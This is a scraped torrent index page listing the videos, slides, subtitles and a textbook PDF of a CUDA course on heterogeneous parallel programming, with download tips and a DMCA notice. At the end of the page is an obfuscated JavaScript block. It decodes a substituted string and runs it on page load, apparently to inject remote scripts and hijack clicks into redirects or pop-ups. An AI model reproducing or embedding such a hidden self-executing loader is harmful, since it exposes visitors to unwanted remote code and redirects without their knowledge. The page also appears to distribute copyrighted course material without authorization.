Heterogeneous Parallel Programming

mp4   Hot：655   Size：909.8 MB   Created：2017-08-26 17:34:49   Update：2021-12-13 16:56:44  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 4 - 7 - 4.7- Parallel Computation Patterns - More on Parallel Scan.mp4 39.84 MB
    4 - 5 - 4.5- Parallel Computation Patterns - A Work-Inefficient Scan Kernel.mp4 38.49 MB
    4 - 6 - 4.6- Parallel Computation Patterns - A Work-Efficient Parallel Scan Kernel.mp4 37.88 MB
    2 - 6 - 2.6- Tiled Matrix Multiplication Kernel.mp4 36.16 MB
    3 - 6 - 3.6- Parallel Computation Patterns - Data Reuse in Tiled Convolution.mp4 31.55 MB
    4 - 1 - 4.1- Parallel Computation Patterns - Reduction.mp4 31.08 MB
    5 - 3 - 5.3- Parallel Computation Patterns - Atomic Operations in CUDA.mp4 30.7 MB
    3 - 1 - 3.1- Performance Considerations - DRAM Bandwidth.mp4 29.54 MB
    2 - 3 - 2.3- Memory Model and Locality -- CUDA Memories.mp4 28.91 MB
    5 - 4 - 5.4- Parallel Computation Patters - Atomic Operations Performance.mp4 27.71 MB
    1 - 4 - 1.4- Introduction to CUDA, Data Parallelism and Threads.mp4 27.09 MB
    4 - 4 - 4.4- Parallel Computation Patterns - Scan (Prefix Sum).mp4 26.97 MB
    2 - 5 - 2.5- Tiled Matrix Multiplication.mp4 25.8 MB
    1 - 1 - 1.1- Course Overview.mp4 25.74 MB
    2 - 1 - 2.1- Kernel-based Parallel Programming - Thread Scheduling.mp4 25.53 MB
    3 - 5 - 3.5- Parallel Computation Patterns - 2D Tiled Convolution Kernel.mp4 25.29 MB
    4 - 2 - 4.2- Parallel Computation Patterns - A Basic Reduction Kernel.mp4 25.07 MB
    2 - 4 - 2.4- Tiled Parallel Algorithms.mp4 25 MB
    3 - 4 - 3.4- Parallel Computation Patterns - Tiled Convolution.mp4 24.91 MB
    1 - 5 - 1.5- Introduction to CUDA, Memory Allocation and Data Movement API.mp4 24.48 MB
    1 - 6 - 1.6- Introduction to CUDA, Kernel-Based SPMD Parallel Programming.mp4 24.23 MB
    5 - 5 - 5.5- Parallel Computation Patterns - A Privatized Histogram Kernel.mp4 23.27 MB
    3 - 2 - 3.2- Performance Considerations - Memory Coalescing in CUDA.mp4 22.72 MB
    5 - 1 - 5.1- Parallel Computation Patterns - Histogramming.mp4 22.23 MB
    5 - 2 - 5.2- Parallel Computation Patterns - Atomic Operations.mp4 22.12 MB
    1 - 8 - 1.8- Kernel-based Parallel Programming, Basic Matrix-Matrix Multiplication.mp4 21.74 MB
    1 - 7 - 1.7- Kernel-based Parallel Programming, Multidimensional Kernel Configuration.mp4 21.69 MB
    2 - 8 - 2.8- A Tiled Kernel for Arbitrary Matrix Dimensions.mp4 21.44 MB
    Рекомендуемая литература David B. Kirk, Wen-mei W. Hwu Programming Massively Parallel Processors, Second Edition.pdf 21.4 MB
    3 - 3 - 3.3- Parallel Computation Patterns - Convolution.mp4 21.08 MB
    4 - 3 - 4.3- Parallel Computation Patterns - A Better Reduction Kernel.mp4 19.99 MB
    2 - 2 - 2.2- Control Divergence.mp4 19.83 MB
    2 - 7 - 2.7- Handling Boundary Conditions in Tiling.mp4 17.92 MB
    1 - 2 - 1.2- Introduction to Heterogeneous Parallel Computing.mp4 17.75 MB
    1 - 3 - 1.3- Portability and Scalability in Heterogeneous Parallel Computing.mp4 9.59 MB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-5-cuda-API.pdf 892.83 KB
    Lecture-5-3-CUDA-atomic.pdf 769.75 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-4-cuda-intro.pdf 593.42 KB
    Lecture-4-7-more-on-scan.pdf 579.67 KB
    Lecture-5-5-privatized-histogram.pdf 541.1 KB
    Lecture-4-4-scan.pdf 526.45 KB
    Lecture-3-2-memory-coalescing.pdf 512.64 KB
    Lecture-3-6-convolution-reuse.pdf 506.08 KB
    Lecture-5-1-histogram.pdf 501.85 KB
    Lecture-3-3-convolution.pdf 499.79 KB
    Lecture-3-1-dram-bandwidth.pdf 498.21 KB
    Lecture-4-6-work-efficient-scan-kernel.pdf 491.81 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-6-cuda-kernel.pdf 490.97 KB
    Lecture-3-5-2D-convolution-kernel.pdf 477.01 KB
    Lecture-3-4-tiled-convolution.pdf 452.39 KB
    Lecture-5-4-atomic-performance.pdf 443.93 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-2-control-divergence.pdf 442.19 KB
    Lecture-5-2-atomic-operations.pdf 437.04 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-1-transparent-scaling.pdf 430.32 KB
    Lecture-4-3-better-reduction-kernel.pdf 413.95 KB
    Lecture-4-2-reduction-kernel.pdf 363.37 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-7-kernel-multidimension.pdf 343.33 KB
    Lecture-4-5-naive-scan-kernel.pdf 338.76 KB
    Lecture-4-1-reduction.pdf 294.27 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-3-cuda-memories.pdf 294.14 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-3-software-cost.pdf 279.64 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-2-heterogeneous.pdf 272.22 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-8-kernel-matrix-multiplication.pdf 269.67 KB
    hetero-lecture_slides_002-Lecture 1-Lecture-1-1-Overview.pdf 242.54 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-8-boundary-condition-kernel.pdf 233.41 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-6-tiled-kernel.pdf 231.2 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-4-tiled-algorithms.pdf 222.14 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-7-boundary-condition.pdf 175.9 KB
    hetero-lecture_slides_002-Lecture 2-Lecture-2-5-tiled-matrix-multiplication.pdf 162.42 KB
    2 - 6 - 2.6- Tiled Matrix Multiplication Kernel.srt 32.79 KB
    4 - 1 - 4.1- Parallel Computation Patterns - Reduction.srt 28.48 KB
    3 - 1 - 3.1- Performance Considerations - DRAM Bandwidth.srt 28.18 KB
    Гетерогенное параллельное программирование.docx 27.63 KB
    3 - 6 - 3.6- Parallel Computation Patterns - Data Reuse in Tiled Convolution.srt 27.23 KB
    1 - 4 - 1.4- Introduction to CUDA, Data Parallelism and Threads.srt 26.47 KB
    2 - 3 - 2.3- Memory Model and Locality -- CUDA Memories.srt 26.32 KB
    4 - 5 - 4.5- Parallel Computation Patterns - A Work-Inefficient Scan Kernel.srt 26.26 KB
    1 - 1 - 1.1- Course Overview.srt 25.83 KB
    4 - 7 - 4.7- Parallel Computation Patterns - More on Parallel Scan.srt 25.04 KB
    2 - 5 - 2.5- Tiled Matrix Multiplication.srt 25.03 KB
    4 - 6 - 4.6- Parallel Computation Patterns - A Work-Efficient Parallel Scan Kernel.srt 24.5 KB
    4 - 4 - 4.4- Parallel Computation Patterns - Scan (Prefix Sum).srt 24.08 KB
    1 - 6 - 1.6- Introduction to CUDA, Kernel-Based SPMD Parallel Programming.srt 23.58 KB
    2 - 4 - 2.4- Tiled Parallel Algorithms.srt 23.06 KB
    1 - 5 - 1.5- Introduction to CUDA, Memory Allocation and Data Movement API.srt 22.78 KB
    3 - 5 - 3.5- Parallel Computation Patterns - 2D Tiled Convolution Kernel.srt 22.77 KB
    2 - 1 - 2.1- Kernel-based Parallel Programming - Thread Scheduling.srt 22.68 KB
    4 - 2 - 4.2- Parallel Computation Patterns - A Basic Reduction Kernel.srt 21.87 KB
    5 - 3 - 5.3- Parallel Computation Patterns - Atomic Operations in CUDA.srt 21.54 KB
    3 - 4 - 3.4- Parallel Computation Patterns - Tiled Convolution.srt 21.07 KB
    2 - 8 - 2.8- A Tiled Kernel for Arbitrary Matrix Dimensions.srt 20.43 KB
    1 - 8 - 1.8- Kernel-based Parallel Programming, Basic Matrix-Matrix Multiplication.srt 20.23 KB
    2 - 6 - 2.6- Tiled Matrix Multiplication Kernel.txt 20.22 KB
    5 - 4 - 5.4- Parallel Computation Patters - Atomic Operations Performance.srt 19.55 KB
    1 - 2 - 1.2- Introduction to Heterogeneous Parallel Computing.srt 19.44 KB
    1 - 7 - 1.7- Kernel-based Parallel Programming, Multidimensional Kernel Configuration.srt 19.05 KB
    4 - 3 - 4.3- Parallel Computation Patterns - A Better Reduction Kernel.srt 18.7 KB
    3 - 3 - 3.3- Parallel Computation Patterns - Convolution.srt 18.67 KB
    3 - 2 - 3.2- Performance Considerations - Memory Coalescing in CUDA.srt 18.42 KB
    2 - 2 - 2.2- Control Divergence.srt 18.11 KB
    4 - 1 - 4.1- Parallel Computation Patterns - Reduction.txt 17.51 KB
    3 - 1 - 3.1- Performance Considerations - DRAM Bandwidth.txt 17.11 KB
    5 - 5 - 5.5- Parallel Computation Patterns - A Privatized Histogram Kernel.srt 16.84 KB
    3 - 6 - 3.6- Parallel Computation Patterns - Data Reuse in Tiled Convolution.txt 16.75 KB
    2 - 7 - 2.7- Handling Boundary Conditions in Tiling.srt 16.54 KB
    2 - 3 - 2.3- Memory Model and Locality -- CUDA Memories.txt 16.21 KB
    4 - 5 - 4.5- Parallel Computation Patterns - A Work-Inefficient Scan Kernel.txt 16.08 KB
    1 - 4 - 1.4- Introduction to CUDA, Data Parallelism and Threads.txt 16.05 KB
    1 - 1 - 1.1- Course Overview.txt 15.82 KB
    2 - 5 - 2.5- Tiled Matrix Multiplication.txt 15.36 KB
    5 - 1 - 5.1- Parallel Computation Patterns - Histogramming.srt 15.35 KB
    4 - 7 - 4.7- Parallel Computation Patterns - More on Parallel Scan.txt 15.33 KB
    5 - 2 - 5.2- Parallel Computation Patterns - Atomic Operations.srt 15.33 KB
    4 - 6 - 4.6- Parallel Computation Patterns - A Work-Efficient Parallel Scan Kernel.txt 15.24 KB
    4 - 4 - 4.4- Parallel Computation Patterns - Scan (Prefix Sum).txt 14.68 KB
    1 - 6 - 1.6- Introduction to CUDA, Kernel-Based SPMD Parallel Programming.txt 14.42 KB
    2 - 4 - 2.4- Tiled Parallel Algorithms.txt 14.24 KB
    1 - 5 - 1.5- Introduction to CUDA, Memory Allocation and Data Movement API.txt 14.17 KB
    3 - 5 - 3.5- Parallel Computation Patterns - 2D Tiled Convolution Kernel.txt 13.96 KB
    2 - 1 - 2.1- Kernel-based Parallel Programming - Thread Scheduling.txt 13.9 KB
    4 - 2 - 4.2- Parallel Computation Patterns - A Basic Reduction Kernel.txt 13.26 KB
    3 - 4 - 3.4- Parallel Computation Patterns - Tiled Convolution.txt 13.14 KB
    5 - 3 - 5.3- Parallel Computation Patterns - Atomic Operations in CUDA.txt 13.04 KB
    1 - 8 - 1.8- Kernel-based Parallel Programming, Basic Matrix-Matrix Multiplication.txt 12.54 KB
    2 - 8 - 2.8- A Tiled Kernel for Arbitrary Matrix Dimensions.txt 12.54 KB
    1 - 2 - 1.2- Introduction to Heterogeneous Parallel Computing.txt 12.17 KB
    5 - 4 - 5.4- Parallel Computation Patters - Atomic Operations Performance.txt 12.07 KB
    1 - 7 - 1.7- Kernel-based Parallel Programming, Multidimensional Kernel Configuration.txt 11.67 KB
    4 - 3 - 4.3- Parallel Computation Patterns - A Better Reduction Kernel.txt 11.52 KB
    3 - 3 - 3.3- Parallel Computation Patterns - Convolution.txt 11.43 KB
    3 - 2 - 3.2- Performance Considerations - Memory Coalescing in CUDA.txt 11.42 KB
    2 - 2 - 2.2- Control Divergence.txt 11.25 KB
    1 - 3 - 1.3- Portability and Scalability in Heterogeneous Parallel Computing.srt 10.85 KB
    5 - 5 - 5.5- Parallel Computation Patterns - A Privatized Histogram Kernel.txt 10.35 KB
    2 - 7 - 2.7- Handling Boundary Conditions in Tiling.txt 10.19 KB
    5 - 1 - 5.1- Parallel Computation Patterns - Histogramming.txt 9.37 KB
    5 - 2 - 5.2- Parallel Computation Patterns - Atomic Operations.txt 9.35 KB
    1 - 3 - 1.3- Portability and Scalability in Heterogeneous Parallel Computing.txt 6.69 KB

Download Info

  • Tips

    “Heterogeneous Parallel Programming” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();